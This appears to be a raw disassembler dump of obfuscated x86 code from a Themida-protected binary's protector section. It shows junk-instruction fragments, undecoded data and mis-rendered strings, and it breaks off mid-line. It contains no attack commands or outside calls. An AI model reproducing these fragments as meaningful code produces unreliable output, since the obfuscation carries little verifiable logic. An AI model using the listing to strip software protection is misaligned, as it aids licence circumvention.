loc_551881: ; CODE XREF: Themida_:00562848j mov [esp], esi push 3145h mov [esp], ebp mov ebp, 696F640Fh push ebp jmp loc_566180 ; --------------------------------------------------------------------------- aBiqeS4n db '│К÷E +И4N',0 align 2 dw 0C89h dd 51595424h, 0C1815954h, 4, 0AF5DE9h, 240C8B00h, 0E9E38953h dd 0D32Bh ; --------------------------------------------------------------------------- loc_5518C0: ; CODE XREF: Themida_:005602C6j not edi push edx mov edx, 997AF15Bh xor edi, edx pop edx jmp loc_55C5AA ; --------------------------------------------------------------------------- aLS_0 db '▀,$И°Л',0 align 4 loc_5518D8: ; CODE XREF: Themida_:0056315Aj pop eax add esp, 4 add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_5514EB ; --------------------------------------------------------------------------- word_5518FA dw 34FFh ; DATA XREF: Themida_:00551250o dd 240C8B24h, 5304C483h, 0CE685B54h, 0E900002Ah, 3878h dd 41DBC381h, 0C3011C5Bh, 41DBEB81h, 3E91C5Bh db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_551923: ; CODE XREF: Themida_:00559F38j xor ebx, 37B5415Fh push 4A66h mov [esp], ecx push 2FBF2144h pop ecx add ecx, 0D040DEBDh mov [edi+20h], ecx push dword ptr [esp] jmp loc_55F15B ; --------------------------------------------------------------------------- dd 0E903E7C1h, 3948h ; --------------------------------------------------------------------------- loc_551950: ; CODE XREF: Themida_:00558128j push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_55ABDE ; --------------------------------------------------------------------------- byte_55195D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00551484o aRs_0 db '$RИо╫',0 db 0 ; --------------------------------------------------------------------------- loc_551967: ; CODE XREF: Themida_:0055680Cj add eax, esi add eax, 18A468F5h add eax, 713B034Eh pop esi add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_55DA4E ; --------------------------------------------------------------------------- dw 0C483h dd 1E95104h db 0EEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55198B: ; CODE XREF: Themida_:005615C9j pop eax or eax, ebx push dword ptr [esp] pop ebx add esp, 4 sub eax, 629B5916h sub eax, 153C25E0h mov esi, eax pop eax and ecx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_55D6D7 ; --------------------------------------------------------------------------- dw 0D531h dd 0D2F7EA31h, 0C142D2F7h, 0BE5606EAh, 1BBCCF9h, 348BF231h dd 4C48324h, 0B643E9h, 242C8900h, 7C1CE9h db 0 ; --------------------------------------------------------------------------- loc_5519D9: ; CODE XREF: Themida_:0055D2B5j pop esp push 5820h mov [esp], ecx push esp jmp loc_55FDC7 ; --------------------------------------------------------------------------- dd 4EC81h, 2C890000h, 26DDE924h, 0F660001h, 5166C8B6h dd 0FAE9E99Ch, 8158FFFFh, 75EC13E9h, 1EEE816Ch, 29464763h dd 1EC681CEh, 0FF464763h, 0E9592434h, 0E261h, 8B24048Fh dd 0EA812424h, 3CB94BE9h, 69F1BE56h, 0F20130B2h, 83C2015Eh dd 3C8904ECh, 389A6824h, 2C890000h, 51565324h, 676868B9h dd 81E1D164h, 8B6BBDF1h, 81D9F71Bh, 6C5558E9h, 13E98105h dd 89C19AAEh, 0BBE959CEh, 81000012h, 8D2FBBF5h, 0B8505157h dd 220337AAh, 3158C189h, 0A82D59CDh, 2944D500h, 0A805E8h dd 2C8B44D5h, 4C48124h, 2D000000h, 3F476E64h, 296B68h dd 241C8900h, 5841BE56h, 0D6F721AAh, 0A1E3EE81h, 0F389870Eh dd 8124348Bh, 4C4h, 3D4DE900h, 0E9560000h, 0CF81h ; --------------------------------------------------------------------------- loc_551AC4: ; CODE XREF: Themida_:00564718j mov ecx, 32283372h inc ecx or ecx, 0CE767C7h push edx jmp loc_559208 ; --------------------------------------------------------------------------- loc_551AD6: ; CODE XREF: Themida_:0055E727j xor eax, [esp] jmp loc_5541DA ; --------------------------------------------------------------------------- dw 0D366h dd 0E99C2424h, 0FFFFFA03h, 42E9E831h, 5E00009Fh, 4C681h dd 98680000h, 8900007Eh, 4BA2414h, 81000000h, 8A5B25EEh dd 0DDC68165h, 81304D4Bh, 0DF70C0C6h, 81D60102h, 0DF70C0EEh dd 0DDEE8102h, 68304D4Bh, 6C21h, 0B8240489h, 64A94696h dd 0C102E8C1h, 0BD5508E0h, 0C4C749DBh, 15DE829h, 2A3EE9C6h dd 0B2680001h, 8900000Bh, 0FB62414h, 0CE80EED0h, 1EE807Bh dd 2CB1B050h, 303F3452h, 0F40058C6h, 8124148Bh, 4C4h, 58E32800h dd 0C3005A66h, 4EC81h, 7E90000h, 8B000010h, 0C481241Ch dd 4, 0FA52E9h db 0 ; --------------------------------------------------------------------------- loc_551B8D: ; CODE XREF: Themida_:005560EAj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_5600C7 ; --------------------------------------------------------------------------- dd 52EB8953h, 0D189DA89h, 2434FF5Ah, 0E789575Bh, 4C781h dd 0C7810000h, 4, 5C243C87h, 83242C8Bh, 0EEE904C4h, 28000069h dd 0F65B66F9h, 0F9B450D9h, 8004ECC0h, 0F4804FE4h, 0B55153F4h dd 11B74Eh, 0F316E9EFh, 4050000h, 83000000h, 43304C0h dd 24043124h, 0E9240433h, 10C1Ah, 0E9240C87h, 0E6E8h ; --------------------------------------------------------------------------- loc_551C04: ; CODE XREF: Themida_:00554CB4j push edx push dword ptr [esp+4] push dword ptr [esp] pop edx push ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_55BCB2 ; --------------------------------------------------------------------------- loc_551C21: ; CODE XREF: Themida_:00560F71j mov ebx, 67217C26h inc ebx jmp loc_566661 ; --------------------------------------------------------------------------- dd 52243489h, 0D40F6A68h, 0EAC15A3Ch, 0B2E28103h, 0E927990Dh dd 0FCB7h, 0F680DEF6h, 0F6DEF689h, 80DEF6D6h, 0EE80CDEEh dd 0EFEE8001h, 148BF130h, 4C48124h, 53000000h, 0D930C6B3h dd 4EC815Bh, 89000000h, 0E951241Ch, 0CE71h ; --------------------------------------------------------------------------- loc_551C78: ; CODE XREF: Themida_:0055F05Aj push edi mov edi, 50491425h jmp loc_55C915 ; --------------------------------------------------------------------------- db 5Ch dd 0ABBA5256h, 5274FC0Eh, 0A21107BAh, 5A5E5279h, 95AD629h dd 24348BF3h, 0C104C483h, 63E905EBh db 0E3h, 2 dup(0) byte_551CA7 db 66h ; DATA XREF: Themida_:00551238o dd 68240C8Bh, 3392h, 54241489h, 2ECDE9h, 4EC8300h, 52242489h dd 4BAh, 24540100h, 0F5E95A04h db 2Eh, 1, 0 ; --------------------------------------------------------------------------- loc_551CCF: ; CODE XREF: Themida_:005664F1j add ebp, 4 xchg ebp, [esp] jmp loc_55F316 ; --------------------------------------------------------------------------- dd offset dword_588968 align 2 dw 1C89h dd 0A5B85024h, 55274065h, 0C36119BDh, 5DE80927h, 0C2DD0F7h dd 0D4EF369h, 19F57B1Ch, 16A1E605h, 8BC389C4h, 41E92404h db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551D0F: ; CODE XREF: Themida_:00560468j push eax mov eax, 3EBF67DDh jmp loc_565598 ; --------------------------------------------------------------------------- dw 0E883h dd 0E9E95002h, 81000147h, 77B004C3h, 0E9DE010Fh, 0C416h dd 4C481h, 0EC680000h, 8900003Eh, 4B82404h, 1000000h, 24048BC5h dd 5B7FE9h db 0 ; --------------------------------------------------------------------------- loc_551D4D: ; CODE XREF: Themida_:0055A3D6j mov eax, 3DA6E3A7h jmp loc_561FD3 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 0E2E9505Ch, 8B00012Fh dd 0C481240Ch, 4, 0C774E9h db 0 ; --------------------------------------------------------------------------- loc_551D7D: ; CODE XREF: Themida_:0055F1B4j neg eax shl eax, 7 jmp loc_560A53 ; --------------------------------------------------------------------------- db 81h dd 0A6FA7F3h, 0E9D9013Ah, 0CB14h, 0E95AD601h, 75C3h, 83241489h dd 1C8904ECh, 5916E924h, 0F4300000h, 3231E95Ah db 1, 0 ; --------------------------------------------------------------------------- loc_551DB2: ; CODE XREF: Themida_:00554D1Bj pop edx push 619h mov [esp], edi push edi mov edi, 6E3652A1h xor [esp+4], edi mov edi, [esp] add esp, 4 mov eax, [esp] add esp, 4 jmp loc_55E610 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 84FE9h, 242C8B00h, 8704C483h, 0B5E9240Ch, 5100003Ah dd 4B9h, 59CF0100h, 12D81E9h, 26C00500h, 0E9525027h, 5374h ; --------------------------------------------------------------------------- loc_551E08: ; CODE XREF: Themida_:0056532Cj mov ebx, 10A012EDh sub dword ptr [esp+4], 38532808h add [esp+4], ebx add dword ptr [esp+4], 38532808h jmp loc_55498E ; --------------------------------------------------------------------------- dw 158h aIbiIz@Sr db 'К│К,iZ@]ИЮ#',0 db 0 ; --------------------------------------------------------------------------- loc_551E35: ; CODE XREF: Themida_:00566B44j xchg ebx, [esp] pop esp and eax, edx mov edx, [esp] push 67B3h mov [esp], ebp mov ebp, esp push esi mov esi, 4 jmp loc_553520 ; --------------------------------------------------------------------------- db 5Ch dd 9C240CD2h, 0FFF68EE9h, 0BE0F66FFh, 128FE9C8h, 1C870001h dd 9856E924h, 53590000h, 909FE954h, 34FF0000h, 89575F24h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 1A9FE95Ch db 1, 0 ; --------------------------------------------------------------------------- loc_551E92: ; CODE XREF: Themida_:0055A7C7j pop ebp add eax, 4 jmp loc_55C261 ; --------------------------------------------------------------------------- loc_551E9D: ; CODE XREF: Themida_:00557DBDj mov dh, bl jmp loc_55DD60 ; --------------------------------------------------------------------------- loc_551EA4: ; CODE XREF: Themida_:0055E211j add esi, 40202A89h neg esi jmp loc_552E23 ; --------------------------------------------------------------------------- db 5, 0Eh, 2 dd 0F001D300h, 0B2C3815Eh, 118514Dh, 0A8E8E9C3h, 895C0000h dd 0FDE92414h, 510000ADh, 71E9CCB1h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551ED7: ; CODE XREF: Themida_:0055ADE4j add edi, 4 push 1605h jmp loc_55ECA8 ; --------------------------------------------------------------------------- db 56h db 55h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_562627 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0AEh dd 29ECF8D3h, 7CE95FFBh, 520000ECh, 40A0E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551F06: ; CODE XREF: Themida_:00565CA7j mov [esp], edi jmp loc_555E1B ; --------------------------------------------------------------------------- dw 3B66h dd 0D4E99CC8h, 21FFFFF5h, 0B6858C1h, 8900007Ah, 24BA2414h dd 31060030h, 2434FFD1h, 4C4835Ah, 34FFCA01h, 0E9575924h dd 9E03h, 38BE5652h, 0E952EC36h, 126F5h ; --------------------------------------------------------------------------- loc_551F48: ; CODE XREF: Themida_:0055BC2Ej xor esi, [esp] xor [esp], esi not esi jmp loc_5605F1 ; --------------------------------------------------------------------------- aS_ db '\И_с',0 dw 0FF00h dd 5B042474h, 5C24048Fh, 9C240429h, 0FFF57EE9h, 24148BFFh dd 4C481h, 0C6290000h, 7AC4EE81h, 48B394Dh, 4C48124h, 81000000h dd 0FB3923EEh, 4D49E966h, 0EE810001h, 1CFA4DA4h, 273AE9h dd 0F9F68100h, 11C7D79h, 0AB37E9F2h, 0C4810000h, 4, 2BD55h dd 0EA810000h, 1DFB64BDh, 0B951EA01h, 373133A2h, 571FF181h dd 0BB532ACAh, 16532004h, 2EF38143h, 0F729EF01h, 2EBC1D3h dd 11237E9h, 0F7685100h, 5921A04Ch, 151AE181h, 3CE90A5Ch db 44h, 1, 0 ; --------------------------------------------------------------------------- loc_551FF3: ; CODE XREF: Themida_:0055C03Fj or eax, ecx pop ecx jmp loc_557EA5 ; --------------------------------------------------------------------------- aIssM db '┴АИтM',0 align 2 dw 8A68h dd 0E912A948h, 14509h ; --------------------------------------------------------------------------- loc_55200C: ; CODE XREF: Themida_:0055F8D2j pop esp mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push 1174h mov [esp], ebx push esi mov esi, 4 mov ebx, esi pop esi push esi mov esi, 6E9219EBh jmp loc_561C90 ; --------------------------------------------------------------------------- db 89h, 0CBh, 0E9h dd 2B13h, 5C3815Bh, 12E5736h, 5EB81CBh, 0E92E5736h, 86Dh dd 4EC81h, 70E90000h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55205F: ; CODE XREF: Themida_:00562092j mov edi, [esp] add esp, 4 push esi mov esi, 1 and eax, esi jmp loc_559318 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0D0h dd 549FB49h, 296C7543h, 7F57BE56h, 0EEC1769Dh, 0CE814603h dd 14624946h, 4BFDC681h, 0F68157D9h, 47D217A0h, 1F25EE81h dd 0F00926DDh, 4EC815Eh, 89000000h, 0A7B9240Ch, 0E969E029h dd 13E25h, 243C335Ah, 33243C31h, 0FF5C243Ch, 0B2E92434h dd 59000070h, 0C15DEE89h, 0B95106E6h, 5DFD2F73h, 6D9ABA52h dd 0D1297637h, 0E41CE9h db 0 ; --------------------------------------------------------------------------- loc_5520E5: ; CODE XREF: Themida_:00562EC0j add ecx, 4 sub ecx, 4 jmp loc_5647CC ; --------------------------------------------------------------------------- loc_5520F3: ; CODE XREF: Themida_:00553DFFj pop edi push ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp jmp loc_556986 ; --------------------------------------------------------------------------- loc_552106: ; CODE XREF: Themida_:00561F11j add esp, 4 push 428Eh mov [esp], ecx push 10ABh mov [esp], esi push 29375F3Ah push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_56196E ; --------------------------------------------------------------------------- db 51h, 0B5h, 9Bh dd 0E952C5FEh, 9E7Bh, 815A5452h, 4C2h, 4C28100h, 0E9000000h dd 0EDC7h, 22E9E389h, 53FFFFFFh, 42474FFh, 0B8FCE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55215E: ; CODE XREF: Themida_:005618F6j pop esp push ebx mov ebx, 4 jmp loc_561E06 ; --------------------------------------------------------------------------- dw 0B850h dd 4, 158C689h, 8CE95EF1h, 68000072h, 5D6Ch, 57241489h dd 6C74BD55h, 0EF8978D7h, 6DF4BA5Dh, 0EA81B265h, 32FF7EA1h dd 113BDE9h db 0 ; --------------------------------------------------------------------------- loc_55219D: ; CODE XREF: Themida_:0055E1DBj mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov eax, [esp] jmp loc_55C905 ; --------------------------------------------------------------------------- dd 24048F54h, 4240483h, 4C5815Dh, 0E9000000h, 629Bh ; --------------------------------------------------------------------------- loc_5521D0: ; CODE XREF: Themida_:00559121j mov eax, [esp] add esp, 4 push 3E8h jmp loc_5517DB ; --------------------------------------------------------------------------- loc_5521E0: ; CODE XREF: Themida_:00560FCBj add esp, 4 sub esp, 4 mov [esp], edi push 3CFA4C43h mov edi, [esp] jmp loc_55BDBB ; --------------------------------------------------------------------------- aXsc db 'XИ√е',0 align 2 loc_552202: ; CODE XREF: Themida_:0055FCABj xchg edi, [esp] mov esp, [esp] push esi push 7C9Dh mov [esp], esp jmp loc_55D848 ; --------------------------------------------------------------------------- loc_552216: ; CODE XREF: Themida_:00555DB0j and ebx, eax jmp loc_560EC4 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0C1810000h, 4, 0E9240C87h, 0AD70h, 58C22959h dd 78E9DA01h db 22h, 1, 0 ; --------------------------------------------------------------------------- loc_55223F: ; CODE XREF: Themida_:005591F5j or eax, 17703994h push 4B99h mov [esp], edx mov edx, 36673C8Fh add eax, edx pop edx add eax, 53F27873h sub eax, 0A9D5F4FDh add ecx, eax push dword ptr [esp] pop eax add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_564CBE ; --------------------------------------------------------------------------- dd 240C8B5Eh, 0E904C483h, 0FFFFFE34h ; --------------------------------------------------------------------------- loc_552284: ; CODE XREF: Themida_:005547F7j xor ebp, 2EE1297h add esi, ebp pop ebp xor esi, 59151A39h shl esi, 1 inc esi sub esp, 4 mov [esp], ecx mov ecx, 65D4E58h or esi, ecx pop ecx add esi, 38C56D9Ah push esi xor dword ptr [esp], 138313C4h pop eax jmp loc_566860 ; --------------------------------------------------------------------------- db 5 dd 6634236Ah, 0ADBD555Eh, 816DDD36h, 6F361DEBh, 81EB0103h dd 6F361DC3h, 2434FF03h, 4F32E9h, 0BB00h, 0C3290000h, 17E95B93h db 6Bh, 2 dup(0) byte_5522EB db 66h ; DATA XREF: Themida_:00551460o dd 66240487h, 3C686650h, 1C89662Ah, 5920E924h, 89570000h dd 4C781E7h, 53000000h, 4BBh, 0F0A5E900h, 0EF800000h, 88505178h dd 0E68852FCh, 0E95AF188h, 0E815h, 557CFABFh, 82C7813Ah dd 0C1186832h, 0E78106E7h, 7B291367h, 8104EFC1h, 2A1D2BCFh dd 0D6C7814Ah, 2922E3ABh, 13EBE9F9h db 1, 0 ; --------------------------------------------------------------------------- loc_55234E: ; CODE XREF: Themida_:0055C24Bj mov [esp], ebp push eax mov eax, 378E56A6h push 5E6Fh mov [esp], esi mov esi, 0 sub esi, 72674281h sub esi, eax add esi, 72674281h xchg eax, esi push dword ptr [esp] pop esi add esp, 4 sub eax, 0C871A959h push edi push eax pop edi mov ebp, edi jmp loc_5653D6 ; --------------------------------------------------------------------------- db 81h, 0C7h, 71h dd 5D798663h, 3C8BF989h, 82AAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55239A: ; CODE XREF: Themida_:0055D380j xchg esi, [esp] pop esp push ebp mov ebp, 2 sub edi, ebp jmp loc_56086E ; --------------------------------------------------------------------------- db 5Bh dd 1599EE81h, 0BF5757FEh, 5F8B66FDh, 8E7C147h, 1FCDBB53h dd 0E3813C98h, 7B4870EFh, 0EBC14B4Bh, 0CF38102h, 210BDD19h dd 0EF815BDFh, 0FC5C7C7Ah, 4BE2C681h, 1BE97BFAh db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5523E7: ; CODE XREF: Themida_:005545E3j push edi mov edi, 4 add ecx, edi pop edi add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push edx mov edx, esp jmp loc_55DE1E ; --------------------------------------------------------------------------- loc_55240A: ; CODE XREF: Themida_:005591ADj push ebx mov ebx, 5EDD4F4Ah sub esi, ebx pop ebx add esi, ecx add esi, 5EDD4F4Ah pop ecx and eax, esi push dword ptr [esp] jmp loc_553B34 ; --------------------------------------------------------------------------- dw 468h dd 8B000000h, 0C4832404h, 0D4BB5304h, 813E143Ah, 422225F3h dd 5BDD2905h, 2F0AED81h, 0ED8123FAh, 6DC06DFAh, 6CFAED81h dd 82E94DD3h, 8100013Fh, 4C4h, 0E9F53100h, 13BEEh, 164AE95Ah db 1, 0 ; --------------------------------------------------------------------------- loc_55246A: ; CODE XREF: Themida_:00560B2Bj not ebp push ecx mov ecx, 527910DDh add ecx, 0F5BCF288h and ebp, ecx pop ecx xor ebp, 48260001h mov esi, ebp pop ebp sub ecx, 5DA24162h add ecx, esi jmp loc_55325F ; --------------------------------------------------------------------------- loc_552491: ; CODE XREF: Themida_:00559178j mov [esp], edi mov edi, 4 add eax, 41E1466h sub eax, 292965BDh sub eax, edi add eax, 292965BDh sub eax, 41E1466h mov edi, [esp] jmp loc_5667E5 ; --------------------------------------------------------------------------- db 29h dd 51535AD0h, 0D1FCE9h, 24048100h, 4, 37E9555Bh, 10000EFh dd 24148BD6h, 4C481h, 0C6810000h, 4, 5C243487h, 761A68h dd 243C8900h, 115EDE9h, 4E6C100h, 8732E9h, 8036BB00h, 0FB29ADE6h dd 5BD9015Fh, 0E228E9h db 0 byte_552509 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00551220o dd 4EC8124h, 89000000h, 868241Ch, 5400007Bh, 8324048Fh dd 5B042404h, 4EC81h, 2C890000h, 453FE924h, 0E0890000h dd 0AE68h, 4437E900h, 4050001h, 5000000h, 4, 5C240487h dd 45A9E9h, 27B95100h, 0E93D8A1Fh, 69A6h ; --------------------------------------------------------------------------- loc_55255C: ; CODE XREF: Themida_:0056054Dj mov [esp], ebx push 4353h mov [esp], esi push ecx push ebx push 422F4E62h pop ebx shl ebx, 2 xor ebx, 7C5F384Bh and ebx, 1785202Eh sub ebx, 0D4D3DD45h mov ecx, ebx pop ebx jmp loc_55F144 ; --------------------------------------------------------------------------- loc_55258C: ; CODE XREF: Themida_:00555039j add edx, 731786A4h jmp loc_55F45E ; --------------------------------------------------------------------------- db 80h dd 0D2E976F7h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55259F: ; CODE XREF: Themida_:00564404j mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55841C ; --------------------------------------------------------------------------- db 81h, 0E9h, 11h dd 5618D522h, 263CF6BEh, 4F68176h, 0E97EDD38h, 0A24Bh dd 0E9242489h, 0FFFFEF5Bh, 0E924048Fh, 569Dh ; --------------------------------------------------------------------------- loc_5525E4: ; CODE XREF: Themida_:0055BD3Aj add esp, 4 push eax mov eax, 4328566Dh and edx, eax mov eax, [esp] push edx jmp loc_55C5B1 ; --------------------------------------------------------------------------- dd 21A0C281h, 875F514Dh, 0B8E92414h, 29000115h, 1AE959C8h dd 810000B3h, 4C3h, 4EB8100h, 87000000h, 40E9241Ch, 57000103h dd 0F2E9E789h, 0E90000F4h, 0FFFFEEBBh, 81242489h, 42404h dd 48F0000h, 24048324h, 24048F04h, 46853h, 87E90000h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55264F: ; CODE XREF: Themida_:0055572Fj pop eax jmp loc_559884 ; --------------------------------------------------------------------------- loc_552655: ; CODE XREF: Themida_:00563A5Dj sub ebx, 44826AF6h jmp loc_563DA3 ; --------------------------------------------------------------------------- dd 0BE243489h, 7B9CF727h, 2D5EF131h, 148718AFh, 66A1E9h dd 74C50500h, 51593410h, 60FDE9h, 243C8B00h, 5E08950h dd 4, 6DCC68h, 240C8900h, 4B9h, 59C80100h, 0A236E9h, 4C48300h dd 0C4DCE9h, 8FE95000h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5526AF: ; CODE XREF: Themida_:0055C918j push 2E34h mov [esp], ecx mov ecx, 3BBC0998h sub edi, ecx pop ecx sub eax, edi mov edi, [esp] add esp, 4 neg eax push ebx mov ebx, 0FC5055Ch add eax, ebx pop ebx push edi mov edi, 71E266F8h or eax, edi mov edi, [esp] add esp, 4 push 390Ah mov [esp], edx mov edx, 77A46681h jmp loc_55AF60 ; --------------------------------------------------------------------------- dw 0C681h dd 58E037B3h, 582434FFh, 0FFFD56E9h, 241C33FFh, 33241C31h dd 0B5E9241Ch, 5900010Bh, 0DEE9555Ah, 5E00004Fh, 4EC81h dd 3C890000h, 62685024h, 5872C044h, 3FBBA005h, 58C7898Dh dd 0E0685653h, 5E279077h, 342E6851h, 0E9597203h, 13837h dd 40EAE781h, 0EFC10C75h, 84F78108h, 310C5755h, 243C8BFDh dd 2904C483h, 0D8015DE8h, 326D405h, 243E922h, 0C3810001h dd 4, 8B241C87h, 0C6812424h, 4, 6CB368h, 24048900h, 268h dd 90EBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55278E: ; CODE XREF: Themida_:0055D180j push edi jmp loc_5586AA ; --------------------------------------------------------------------------- dd 0C082E680h, 0F68006EEh, 0A9C680C3h, 5E91E9h, 805FB700h dd 0E7D020CFh, 0E904EFC0h, 13451h, 8104C483h, 4ECh, 24048900h dd 2B8h, 12EE8100h, 1745F10h, 12C681C6h, 0FF745F10h, 83582434h dd 343304C4h, 279DE924h, 8F5A0001h, 895C2404h, 0FCBE2434h dd 89000003h, 2434FFF5h, 12C45E9h db 0 ; --------------------------------------------------------------------------- loc_5527F9: ; CODE XREF: Themida_:00564B72j jmp loc_5514EB ; --------------------------------------------------------------------------- dw 0EBBEh dd 89378F17h, 24348BF2h, 8104C483h, 293068C2h, 0C281423Bh dd 8D47B7B0h, 0A412E9h, 240C8B00h, 4C481h, 0C2800000h dd 2EAC0FCh, 805DEA80h, 0E95143C2h, 8FEBh ; --------------------------------------------------------------------------- loc_552838: ; CODE XREF: Themida_:0055BDEBj push esp jmp loc_5638BC ; --------------------------------------------------------------------------- loc_55283E: ; CODE XREF: Themida_:0055D564j add eax, ebx sub eax, 7753923h jmp loc_558B7C ; --------------------------------------------------------------------------- dw 0C281h dd 206551AEh, 76E9FA01h, 890000F9h, 51E95AD6h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55285F: ; CODE XREF: Themida_:00552C10j sub ebp, edi jmp loc_556242 ; --------------------------------------------------------------------------- dw 0B951h dd 6C672B51h, 7BE9CA01h, 81000115h, 9717C4EFh, 3E7C157h dd 5506E7C1h, 0B53712BDh, 8EDC127h, 2DCD814Dh, 0F7174542h dd 0C1F581DDh, 0E9EF4537h, 90D9h, 4246C81h, 1C0C3589h dd 8124348Bh, 4C4h, 7A055800h, 8B5AC130h, 0C481240Ch, 4 dd 132F0E9h, 2434FF00h, 4C48359h, 59DDE9h, 0C5895A00h dd 13CFCE9h db 0 ; --------------------------------------------------------------------------- loc_5528D5: ; CODE XREF: Themida_:00563C3Ej mov esi, 7F236DC9h sub edi, esi push dword ptr [esp] jmp loc_55695F ; --------------------------------------------------------------------------- dd 31240C33h, 0DFE9240Ch db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5528EF: ; CODE XREF: Themida_:00560FC2j sub eax, 33326282h jmp loc_555B88 ; --------------------------------------------------------------------------- aSsb db 'SИ│\',0 db 0 ; --------------------------------------------------------------------------- loc_5528FF: ; CODE XREF: Themida_:00562162j xor ecx, 31F604Ch push eax push esi mov esi, ecx mov eax, esi pop esi jmp loc_56122C ; --------------------------------------------------------------------------- db 5Ch, 89h, 4 aOlPb7rxsaa db '$╦м╝l^P│,$Ё7ЮXИA²',0 db 0 ; --------------------------------------------------------------------------- loc_552927: ; CODE XREF: Themida_:0055822Bj xor ebx, edx xor edx, ecx jmp loc_55DD06 ; --------------------------------------------------------------------------- dd 0C8B665Ch, 0BFEBE924h, 1C890000h, 0E9DDB324h, 22Dh dd 0C041E95Dh, 0E5280000h, 99E95866h db 31h, 1, 0 ; --------------------------------------------------------------------------- loc_552953: ; CODE XREF: Themida_:005631EBj xchg edx, esi not edx push esi push edx pop esi jmp loc_558EF0 ; --------------------------------------------------------------------------- db 5Fh dd 0C3815A58h, 67FE1C55h, 0EB81FB01h, 67FE1C55h, 4814E9h dd 81C12900h, 0D527B9C1h, 24048B1Eh, 14047E9h, 4C28100h dd 87000000h, 248B2414h, 0F1C18124h, 8B61CC19h, 65E9243Ch dd 6800006Ch, 7981h, 0B1240C89h, 2D0EE982h, 0C890000h dd 4EC8124h, 89000000h, 57E92404h, 0BF00011Eh, 158547F2h dd 2DCDC781h, 23682048h, 89000064h, 8B54242Ch, 0C483242Ch dd 51575104h, 4472DEB9h, 59CF8945h, 0F781DFF7h, 396B749Dh dd 0E904EFC1h, 109D4h dword_5529F4 dd 24048B66h, 582768h, 24348900h, 53D968h, 24248900h, 44466856h ; DATA XREF: Themida_:0055147Co dd 1C890000h, 4BB24h, 0DE890000h, 2474015Bh, 2434FF04h dd 12888E9h, 5DE88900h, 99880540h, 0C129F7F8h, 240C8758h dd 2414895Ch, 0F10D1168h, 0C2815A52h, 77732682h, 70C28142h dd 0E9359BCCh, 5CA2h, 4C481h, 0BD550000h, 1, 0E95DE829h dd 10CE1h ; --------------------------------------------------------------------------- loc_552A64: ; CODE XREF: Themida_:0055B777j xor [esp], esi xor esi, [esp] mov esp, [esp] or eax, eax jz loc_5538F1 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] jmp loc_55BDEA ; --------------------------------------------------------------------------- loc_552A83: ; CODE XREF: Themida_:0055F380j or ecx, 79633C7Fh push edi mov edi, 6EFF158Fh not edi sub edi, 69665124h jmp loc_562CDD ; --------------------------------------------------------------------------- aFyAIsae db ' ЛfYюЛ',8,'─д╘ИAe',0 dw 8100h dd 4ECh, 6361E900h, 34FF0000h, 62E95A24h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552ABF: ; CODE XREF: Themida_:0055A831j xor eax, esi jmp loc_555A32 ; --------------------------------------------------------------------------- loc_552AC6: ; CODE XREF: Themida_:00555ECCj pop esp push 713Ah mov [esp], edi push eax push 7D767C48h mov eax, [esp] add esp, 4 push eax not dword ptr [esp] jmp loc_5621B4 ; --------------------------------------------------------------------------- aSssd db 'SИАd',0 align 2 dw 0FD68h dd 89000036h, 0E568242Ch, 89000073h, 0C8E92424h, 8100000Ch dd 4C4h, 50EB0100h, 0B126DEB8h, 0D1F7917Fh, 2D3F2591h dd 0FF05676Ch, 0C14E2562h, 0D0F707E0h, 7AABF57h, 0F7810145h dd 844C62F8h, 15FF801h, 24048BC3h, 22C9E9h db 0 byte_552B39 db 81h, 0ECh, 4 ; DATA XREF: Themida_:00551384o dd 89000000h, 3C68240Ch, 0FF000000h, 81592434h, 4C4h, 3AE95600h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552B57: ; CODE XREF: Themida_:00553C5Cj push edi mov edi, 51235410h sub ebx, 50953E9Ah sub ebx, edi add ebx, 50953E9Ah pop edi jmp loc_560EBC ; --------------------------------------------------------------------------- db 80h, 0C3h, 0FFh dd 0EC8AE9h, 6BC68100h, 318E560Ch, 1BC9E9F0h, 14890000h dd 0C082E924h, 0C1290000h, 1FDFE981h, 